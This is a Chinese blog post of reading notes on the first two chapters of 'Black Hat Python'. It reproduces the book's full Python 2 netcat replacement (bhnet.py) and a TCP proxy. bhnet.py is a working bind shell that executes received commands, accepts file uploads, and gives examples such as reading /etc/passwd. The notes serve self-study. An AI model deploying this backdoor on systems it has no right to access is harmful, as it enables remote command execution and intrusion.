读书笔记 -《Python 黑帽子》 ( 一 )

读书笔记系列文章

一直都在读书,读了忘,忘了再读。不如把每次学到的东西都写下来

简介

内容不错,大部分领域都是浅尝而止,有种师傅领进门,修行看个人的感觉。就是书的排版有点问题,书一共不到200页,粘贴了大量代码,代码行间距太大。
书中用到的所有代码都可以从 http://nostarch.com/blackhatpython/ 下载

第一章 设置 python 环境

其实这一章没什么收获,一直在用 kali 操作系统,喜欢的 IDE 是 pycharm 而不是 WingIDE。所以没什么可以做的

第二章 网络基础

前几节(Python 网络编程简介,TCP 客户端,UDP 客户端,TCP 服务器)都比较简单,是最基础的 socket 编程,都是模板式的编程,比较基础。除非从来没写过网络程序,否则应该是一眼就知道在做什么

取代 netcat

这一节开始变的有意思起来了。
netcat(nc) 网络界的瑞士军刀,可以做端口扫描,可以作为聊天工具,可以上传下载文件,可以执行 shell 做后门程序,总之用处多多。如果之前没有接触过,可以通过下面的连接简单了解一下。http://www.oschina.net/translate/linux-netcat-command
本节内容,作者试图使用简单的 python 程序实现一个 nc,并且实现了基本功能。
200多行的代码,连参数解析,使用提示的功能都包括了,真是不错。下面简单分析一下这个代码,备忘,以后可能用的到。

代码中一共有6个函数
def run_command(command) 函数:生成一个新的进程执行命令,用到了 subprocess模块
def client_sender(buffer) 函数: 工具运行在非监听模式下,执行的功能(循环的发送读取数据)
def server_loop() 函数:工具运行在监听模式下的主循环函数,每当有新的连接进来,创建新线程
def client_handler(client_socket): 函数:新线程要执行的代码都在这里了
def usage() 函数: 提示信息
def main() 函数:main 函数就是利用getopt 实现对参数的解析
这些函数都不是特别复杂,也就 client_handler比较长一点,处理逻辑是
首先判断有没有数据需要收,如果有,那就收,写入文件
然后判断有没有命令要执行,如果有,那就执行,执行结果返回回去
最后判断是否有-c 选项,也就是 command,如果有,模仿 shell,接受数据,执行命令,返回结果

说白了,不管是 nc 还是下面的代码,都是建立了一个 tcp 客户端或者 tcp 服务器端,通过tcp 连接来发送和接受消息,之所以这个代码神奇,是因为它提供了交互的能力、执行命令的能力。

创建一个 TCP 代理

这是一个流量转发的工具,按照指定的 ip 和port,作为第三方,给其它两方转发数据。
这一段代码没有太多的神奇之处,就是监听一个端口,等待连接,当有客户端连接进入的时候,接受数据,然后跟远端服务器建立连接,发送这些数据;然后反过来,接受远端服务器的数据,发送给客户端,如此反复而已。

最值得注意的一个东西是 hexdump 函数,真的的特别好使。它的输出是这样子的,对于经常分析网络流量的人来说,太方便了。

# -*- coding: utf-8 -*-

def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, unicode) else 2

    for i in xrange(0, len(src), length):
        s = src[i:i + length]
        hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
        result.append(b"%04X   %-*s   %s" % (i, length * (digits + 1), hexa, text))

    print b'\n'.join(result)


hexdump('yangzhijiayangzhijiayangzhijiayangzhijiayangzhijiayya杨志嘉n')
print ''
hexdump(u'yangzhijiayangzhijiayangzhijiayangzhijiayangzhijiayya杨志嘉n')


/usr/bin/python2.7 /root/PycharmProjects/blackhat/mytest.py
0000   79 61 6E 67 7A 68 69 6A 69 61 79 61 6E 67 7A 68    yangzhijiayangzh
0010   69 6A 69 61 79 61 6E 67 7A 68 69 6A 69 61 79 61    ijiayangzhijiaya
0020   6E 67 7A 68 69 6A 69 61 79 61 6E 67 7A 68 69 6A    ngzhijiayangzhij
0030   69 61 79 79 61 E6 9D A8 E5 BF 97 E5 98 89 6E       iayya.........n

0000   0079 0061 006E 0067 007A 0068 0069 006A 0069 0061 0079 0061 006E 0067 007A 0068    yangzhijiayangzh
0010   0069 006A 0069 0061 0079 0061 006E 0067 007A 0068 0069 006A 0069 0061 0079 0061    ijiayangzhijiaya
0020   006E 0067 007A 0068 0069 006A 0069 0061 0079 0061 006E 0067 007A 0068 0069 006A    ngzhijiayangzhij
0030   0069 0061 0079 0079 0061 6768 5FD7 5609 006E                                       iayya...n

Process finished with exit code 0

读到这里,我就拿这两个小工具联合起来测试了一下。就在本机测试

python proxy.py 127.0.0.01 12346 127.0.0.1 12345 false
python bhnet.py -l -p 12345 -c
python bhnet.py -t 127.0.0.1 -p 12346

这三行代码分别在不同的 shell 里面执行,意图也很明显:

首先重建一个代理,把本地端口12346的数据赚到本地端口12345.
然后创建一个 能够执行命令的tcp 服务器,监听本地12345端口
最后创建一个 tcp 客户端,连接本地12346端口

通过测试发现两个问题:
1. 超时时间太长,proxy.py中的 receive_from函数设置超时时间为2秒,太长了,设置为0.1秒比较合适
2. proxy.py会在没有数据传输的时候关闭连接,这个不好,proxy.py中的 proxy_handle函数中最后一部分代码删除就好了

通过 Paramiko 使用 SSH & SSH 隧道

这两段代码还没搞定,运行总是出错
排掉的第一个雷就是 client.load_host_keys这个函数是不能注释掉的
以后继续调吧。
但是这一节的收获挺大, Paramiko 真的是一个非常好用的库

附录

1 bhnet.py

#!/opt/local/bin/python2.7

import sys
import socket
import getopt
import threading
import subprocess

# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0


# this runs a command and returns the output
def run_command(command):
    # trim the newline
    command = command.rstrip()

    # run the command and get the output back
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"

    # send the output back to the client
    return output


# this handles incoming client connections
def client_handler(client_socket):
    global upload
    global execute
    global command

    # check for upload
    if len(upload_destination):

        # read in all of the bytes and write to our destination
        file_buffer = ""

        # keep reading data until none is available
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        # now we take these bytes and try to write them out
        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # acknowledge that we wrote the file out
            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # check for command execution
    if len(execute):
        # run the command
        output = run_command(execute)

        client_socket.send(output)

    # now we go into another loop if a command shell was requested
    if command:

        while True:
            # show a simple prompt
            client_socket.send("<BHP:#> ")

            # now we receive until we see a linefeed (enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # we have a valid command so execute it and send back the results
            response = run_command(cmd_buffer)

            # send back the response
            client_socket.send(response)


# this is for incoming connections
def server_loop():
    global target
    global port

    # if no target is defined we listen on all interfaces
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # spin off a thread to handle our new client
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()


# if we don't listen we are a client....make it so.
def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # connect to our target host
        client.connect((target, port))

        # if we detect input from stdin send it
        # if not we are going to wait for the user to punch some in

        if len(buffer):
            client.send(buffer)

        while True:

            # now wait for data back
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print response,

            # wait for more input
            buffer = raw_input("")
            buffer += "\n"

            # send it off
            client.send(buffer)


    except:
        # just catch generic errors - you can do your homework to beef this up
        print "[*] Exception! Exiting."

        # teardown the connection
        client.close()


def usage():
    print "Netcat Replacement"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l --listen                - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
    print "-c --command               - initialize a command shell"
    print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)


def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # read the commandline options
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
                                   ["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # are we going to listen or just send data from stdin
    if not listen and len(target) and port > 0:
        # read in the buffer from the commandline
        # this will block, so send CTRL-D if not sending input
        # to stdin
        buffer = sys.stdin.read()

        # send data off
        client_sender(buffer)

        # we are going to listen and potentially 
    # upload things, execute commands and drop a shell back
    # depending on our command line options above
    if listen:
        server_loop()


main()

2 proxy.py

import sys
import socket
import threading



# this is a pretty hex dumping function directly taken from
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, unicode) else 2

    for i in xrange(0, len(src), length):
        s = src[i:i + length]
        hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
        result.append(b"%04X   %-*s   %s" % (i, length * (digits + 1), hexa, text))

    print b'\n'.join(result)


def receive_from(connection):
    buffer = ""

    # We set a 2 second time out depending on your
    # target this may need to be adjusted
    connection.settimeout(2)

    try:
        # keep reading into the buffer until there's no more data
        # or we time out
        while True:
            data = connection.recv(4096)

            if not data:
                break

            buffer += data


    except:
        pass

    return buffer


# modify any requests destined for the remote host
def request_handler(buffer):
    # perform packet modifications
    return buffer


# modify any responses destined for the local host
def response_handler(buffer):
    # perform packet modifications
    return buffer


def proxy_handler(client_socket, remote_host, remote_port, receive_first):
    # connect to the remote host
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # receive data from the remote end if necessary
    if receive_first:

        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # send it to our response handler
        remote_buffer = response_handler(remote_buffer)

        # if we have data to send to our local client send it
        if len(remote_buffer):
            print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
            client_socket.send(remote_buffer)

    # now let's loop and reading from local, send to remote, send to local
    # rinse wash repeat
    while True:

        # read from local host
        local_buffer = receive_from(client_socket)

        if len(local_buffer):
            print "[==>] Received %d bytes from localhost." % len(local_buffer)
            hexdump(local_buffer)

            # send it to our request handler
            local_buffer = request_handler(local_buffer)

            # send off the data to the remote host
            remote_socket.send(local_buffer)
            print "[==>] Sent to remote."


        # receive back the response
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):
            print "[<==] Received %d bytes from remote." % len(remote_buffer)
            hexdump(remote_buffer)

            # send to our response handler
            remote_buffer = response_handler(remote_buffer)

            # send the response to the local socket
            client_socket.send(remote_buffer)

            print "[<==] Sent to localhost."

        # if no more data on either side close the connections
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print "[*] No more data. Closing connections."

            break


def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print "[!!] Failed to listen on %s:%d" % (local_host, local_port)
        print "[!!] Check for other listening sockets or correct permissions."
        sys.exit(0)

    print "[*] Listening on %s:%d" % (local_host, local_port)

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # print out the local connection information
        print "[==>] Received incoming connection from %s:%d" % (addr[0], addr[1])

        # start a thread to talk to the remote host
        proxy_thread = threading.Thread(target=proxy_handler,
                                        args=(client_socket, remote_host, remote_port, receive_first))
        proxy_thread.start()


def main():
    # no fancy command line parsing here
    if len(sys.argv[1:]) != 5:
        print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # setup local listening parameters
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # setup remote target
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # this tells our proxy to connect and receive data
    # before sending to the remote host
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False


    # now spin up our listening socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)


main() 
  • 5
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值